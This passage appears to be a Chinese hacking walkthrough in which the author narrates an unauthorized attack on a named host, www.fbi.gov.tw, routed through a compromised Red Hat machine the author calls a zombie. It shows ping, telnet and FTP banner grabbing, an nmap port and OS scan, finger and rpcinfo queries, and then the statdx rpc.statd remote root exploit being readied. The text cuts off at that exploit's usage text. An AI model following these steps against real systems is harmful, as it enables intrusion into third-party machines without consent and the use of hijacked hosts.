假设是:www.fbi.gov.tw。^__^ 先让俺看看是不是连得上: C:\ping www.fbi.gov.tw Pinging www.fbi.gov.tw[202.106.184.200] with 32 bytes of data: Reply from 202.106.184.200: bytes=32 time=541ms TTL=244 Reply from 202.106.184.200: bytes=32 time=620ms TTL=244 Reply from 202.106.184.200: bytes=32 time=651ms TTL=244 Reply from 202.106.184.200: bytes=32 time=511ms TTL=244 Ping statistics for 202.106.184.200: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 511ms, Maximum = 651ms, Average = 580ms 嘻嘻—不但连得上,速度还不错…… 先telnet看看banner: C:\>telnet www.fbi.gov.tw 遗失对主机的连接。 哈哈……看来把telnet服务给shut掉了!再试试ftp C:\>ftp www.fbi.gov.tw Connected to www.fbi.gov.tw. 220 fbi-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready. User (www.fbi.gov.tw:(none)): 呵~~wu-2.6.1看来有点眉目了。这台机器像是大名鼎鼎的…………对!RedHat7.0!没错就是她了!首先必须确认一下,连上俺的跳板: C:\>telnet xxx.xxx.xxx.xxx Red Hat Linux release 7.0 (Guinness) Kernel 2.2.16-22smp on an i686 login: fetdog Password: bash-2.04$ 呵呵~~这是我在台湾的一台跳板。RH7的哦!等下我就会告诉你们拿这些肉鸡办法……拿上nmap扫描器,看看其中的奥妙~~~ bash-2.04$nmap -sT -O www.fbi.gov.tw Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ ) WARNING! The following files exist and are readable: /usr/local/sha -services and ./nmap-services. I am choosing /usr/local/share/nmap/ s for security reasons. set NMAPDIR=. to give priority to files in irectory Interesting ports on (www.fbi.gov.tw): (The 1520 ports scanned but not shown below are in state: closed) Port State Service 25/tcp open smtp 79/tcp open finger 80/tcp open http 111/tcp open sunrpc 113/tcp open auth 443/tcp open https 513/tcp open login 514/tcp open shell 515/tcp open printer 587/tcp open submission 1024/tcp open kdm TCP Sequence Prediction: Class=random positive increments Difficulty=3247917 (Good luck!) Remote operating system guess: Linux 2.1.122 - 2.2.16 Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds 恰恰!!打开的端口还挺多的嘛!不错……不错……。79/tcp finger?呵呵~先看看这个,不过linux没有finger用户列表这个漏洞,不管它俺先看看有没有倒霉鬼。 bash-2.04$finger @www.fbi.gov.tw [www.fbi.gov.tw] No one logged on. sh*t!怎么会没人!开门!给我开门!:(……再看看111/tcp sunrpc。嘿嘿……近来rpc漏洞风行,不知道RH7这个东东会不会有?管它呢,先看看再说! bash-2.04$rpcinfo -p www.fbi.gov.tw program vers proto port service 100000 2 tcp 111 rpcbind 100000 2 udp 111 rpcbind 100021 1 udp 1024 nlockmgr 100021 3 udp 1024 nlockmgr 100024 1 udp 1025 status 100024 1 tcp 1024 status 看来有rpc.statd服务。等俺来看看能不能远程溢出拿个rootshell。哈哈!这个rpc.statd远程溢出是我在hack.co.za找到的。等俺先来看看帮助。嘻嘻~~ bash-2.04$./statdx -h statdx by ron1n Usage: stat [-t] [-p port] [-a addr] [-l len] [-o offset] [-w num] [-s secs] [-d type] -t attack a tcp dispatcher [udp] -p rpc.statd serves requests on [query]